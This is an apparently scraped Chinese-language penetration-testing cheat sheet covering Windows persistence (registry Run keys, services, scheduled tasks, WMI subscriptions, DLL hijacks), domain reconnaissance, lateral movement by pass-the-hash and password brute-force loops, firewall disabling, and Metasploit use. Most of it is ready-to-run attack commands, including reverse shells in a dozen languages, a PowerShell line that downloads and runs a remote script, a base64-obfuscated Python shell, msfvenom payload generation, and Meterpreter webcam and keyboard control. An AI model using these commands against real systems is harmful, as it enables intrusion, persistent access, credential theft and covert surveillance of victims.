C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
NT6以前的目录如下:

对当前用户有效:
C:\Documents and Settings\Hunter\「开始」菜单\程序\启动
对所有用户有效:
C:\Documents and Settings\All Users\「开始」菜单\程序\启动

注册键

reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"
1.Load注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

2.Userinit注册键
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序,如userinit.exe,evil.exe。

3.Explorer\Run注册键
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。

4.RunServicesOnce注册键
RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunServicesOnce

5.RunServices注册键
RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices

6.RunOnce\Setup注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup

7.RunOnce注册键
安装程序通常用RunOnce键自动运行程序,它的位置在
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[小于NT6]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前;HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。

8.Run注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。

服务

sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"

计划任务

SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe

WMI事件

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime 
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""

屏幕保护

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f

bitsadmin

bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil

Netsh白加黑

可以通过导入helperdll的方式做权限维持,命令格式如下:
netsh add helper [Absolute evil DLL path]
但是由于netsh并不会开启自启动,因此还要再写一条自启动项:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"
重新启动后依然可获得shell:

MSDTC

在默认的Windows安装中,System32文件夹中缺少oci.dll这个文件,在获得写权限的情况下可以在该文件夹下写入一个同名的dll,服务启动时执行恶意代码。默认情况下,由于启动类型设置为“手动”,通过以下命令设置自启:

sc qc msdtc
sc config msdtc start= auto

windows信息收集常用命令

Systeminfo 计算机详细信息(补丁信息)

Net start 所启动的服务

Wmic service list brief 查询本机服务信息

Tasklist 进程列表

Wmic startup get command,caption 查看启动该程序信息

Schtasks /query /fo LIST /v计划任务

Netstat -ano 根据本机端口开放情况来判断有什么服务、其角色

Query user || qwinsta 查看当前在线用户

Net session 列出会话

Net share 查看本机的共享列表

Wmic share get name,path,status 查看共享列表

Net user 本地用户

Net user kkkk 查看本地用户信息


Net localgroup 本地用户组

Net localgroup /domain 域用户组

Net localgroup adminnstrators 本地管理员组成员

net localgroup adminstrators /domain 查看登陆过主机的管理员

Wmic useraccount get /all 获取域内用户详细信息

dsquery user 查看存在的用户

Net user /domain 域用户信息

Net user kkkk /domain 域用户kkkk信息

Net user kent password /add /domain添加域用户


Net group /domain 域用户组信息

Net view /domain 查询域

Net view /domain:test 查询域内计算机

Net accounts /domain 查询域中密码策略

Net group /domain 查看域内所有用户组

Net group "Domain Controllers" /domain 查看域控制器组

Net group "Domain computers" /domain 查看域内所有计算机列表

Net group "Domain admins" /domain 查看域内管理员用户

Net user /domain kent active:yes 启用域账户

Net user /domain kent active:no 禁用域账户

Nltest /DCLIST:test 查看域中域控制器名

Wmic useraccount get /all 用户详细信息

Net group "Domain Admins" /domain 对应组下的账户信息

nltest /domain_trusts 获取域信任信息

net config workstation 了解本机的配置信息

Netsh firewall show config 查看防火墙配置

Netsh advfirewall set allprofiles state off关闭防火墙(windows server 2003后)

Netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe" 允许指定程序进入(windows server 2003后)

Netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="C:\nc.exe"允许指定程序退出(windows server 2003后)

Netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 允许3389连接(windows server 2003后)

Reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"查看端口代理配置信息

Reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber 查看远程桌面端口号

at&schtasks&sc横向

使用明文密码登录到目标,需要445和139端口开启:

net use \\192.168.2.148\ipc$ password /user:test\administrator

net use \\192.168.2.148\ipc$ password /user:administrator

复制文件
copy c:\1.exe \\192.168.2.148\c$

at新建10:10分运行的定时作业
at \\192.168.2.148 10:10 c:\1.exe

Windows server 2012及以上使用schtasks命令
Schtasks /create /s 192.168.2.148 /ru “SYSTEM” /tn executefile /sc DAILY /tr c:/1.exe /F
Schtasks /run /s 192.168.2.148 /tn executefile /i
Schtasks /delete /s 192.168.2.148 /tn executefile /f

sc \\192.168.210.107 create hacker binpath="c:\shell1.exe"   #创建服务
sc \\192.168.210.107 start hacker      #启动hacker服务

impacket包横向命令

下载https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases
Atexec

需要445端口开启
Atexec.exe hacker/administrator:[email protected] "whoami"

Atexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/[email protected] "whoami"

dcomexec

需要135端口开启
dcomexec.exe hacker/administrator:[email protected] "whoami"

dcomexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 hacker/[email protected] "whoami"

psexec

官方Psexec第一种利用方法:可以先有ipc链接,再用psexec运行相应的程序:
Net use \192.168.202.148\ipc$ zxcvbnm123 /user:test\Administrator
Psexec \192.168.202.148 -accepteula -s cmd

官方Psexec第二种利用方法:不用建立ipc连接,直接使用密码或hash进行传递
Psexec \192.168.202.148 -u Administrator -p zxcvbnm123 -s cmd

PsExec -hashes :fac5d668099409cb6fa223a32ea493b6 test.com/[email protected] "whoami" (官方提供的exe执行不了)

smbexec

需要445端口开启
Smbexec test/Administrator:[email protected]
Smbexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/[email protected]

wmi

WMI利用135端口,支持明文和hash两种方式进行身份验证,且系统日志不记录。
第一种:使用系统自带的WMIC明文传递执行相应命令,但执行的结果不回显(先管理员账户登录)
Wmic /node:192.168.202.148 /user:Administrator /password:zxcvbnm123 process call create "cmd.exe /c ipconfig >C:/1.txt"

第二种:使用系统自带cscript明文传递执行反弹shell,执行结果有回显,现已被杀
Cscript //nologo wmiexec.vbs /shell 192.168.202.148 Administrator zxcvbnm123

第三种:使用第三方impacket套件中的Wmiexec进行明文或hash传递,执行结果有回显
Wmiexec test/Administrator:[email protected] "whoami"
Wmiexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/[email protected] "whoami"

批量操作,需要保存为bat执行

用已知密码和用户,批量连接ip:
FOR /F %%i in (ips.txt) do net use \%%i\ipc$ “password” /user:hacker\administrator

已知用户和ip,批量连接密码(爆破密码):
FOR /F %%i in (pass.txt) do net use \192.168.202.148\ipc$ "%%i" /user:test\administrator

已知用户和ip,批量连接hash(爆破hash):
FOR /F %%i in (hash.txt) do atexec.exe -hashes :"%%i" test/[email protected] "whoami"

精准批量法

shell for /l %i in (1,1,253) do echo 172.22.13.%i >>tip.txt
shell for /f %i in (tip.txt) do ping -n 1 -w 10 %i | find /i "ttl" >nul && echo %%i >>ok.tx
shell for /f %i in (ok.txt) do dir \\%i\c$\users >>result.txt

cme 批量

proxychains4 ./cme smb 10.0.0.1/24 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -d xx.org -x "net user"

单独执行命令

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami

ldap喷洒

cme ldap 10.11.12.211 -u 'username' -p 'password' --kdcHost 10.11.12.211 --users

反弹shell

nc

nc -lvvp 4444

bash

bash -i >& /dev/tcp/172.16.1.130/4444 0>&1
exec 5<>/dev/tcp/172.16.1.130/4444;cat &5 2>&1;done

perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'

ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'

nc

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[])
p.waitFor()

lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i &3 2>&3');"

powershell

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444

加密shell

mkfifo /tmp/s; /bin/sh -i &1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s

msf大全

https://xz.aliyun.com/t/2536

https://www.freebuf.com/articles/web/270456.html

https://saucer-man.com/information_security/79.html

https://www.anquanke.com/post/id/235631

https://www.anquanke.com/post/id/164525

安装

安装

# 安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安装目录 
# /opt/metasploit-framework/embedded/framework/

安装2

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
chmod +x ./metasploit-latest-linux-x64-installer.run
./metasploit-latest-linux-x64-installer.run

payload生成

Linux

反向连接:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f elf > shell.elf
正向连接:
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=808 -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f macho > shell.macho

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f raw > shell.php
cat shell.php | pbcopy && echo ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f war > shell.war

执行方式:将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:

php shell.php

3.脚本shell

Python

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=808 -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=127.0.0.1 LPORT=808 -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=127.0.0.1 LPORT=808 -f raw > shell.pl

执行方式:复制shell.py中的内容在linux命令行下执行:

python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

4.shellcode Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f 

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f 

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f 

Meterpreter基本命令

首先需要先获取meterpreter:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
#set payload linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set lPORT 6789
set ExitOnSession false
exploit -j -z # -j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
jobs  # 查看后台攻击任务 
kill <id>  # 停止某后台攻击任务 
sessions -l  # (查看会话)
sessions -i 2   # 选择会话
sessions -k 2   # 结束会话

如果先获取了cmd,比如利用ms17-010,默认使用的payload返回的就是cmd。这时候我们可以使用 sessions-u 2 来将cmdshell升级成meterpreter。

获取到了meterpreter,就可以进行后渗透了。

基本系统命令

# 会话管理
background  #将当前会话放置后台
sessions  # 查看会话
sessions -i  # 切换会话
quit  # 关闭当前的会话,返回msf终端

# 系统设置
sysinfo  # 查看目标机系统信息
idletime  # 查看目标机闲置时间
reboot/shutdown   # 重启/关机

# shell
shell  # 获得控制台权限
irb  # 进入ruby终端

# 进程迁移
getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate     #将Meterpreter会话移植到指定pid值进程中
kill    #杀死进程
migrate     #将Meterpreter会话移植到指定pid值进程中

# 执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

# 摄像头命令
webcam_list  #查看摄像头列表
webcam_chat  # 查看摄像头接口
webcam_snap   #通过摄像头拍照
webcam_stream   #通过摄像头开启视频

# uictl开关键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘

# 远程桌面/截屏
enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面






请到「今天看啥」查看全文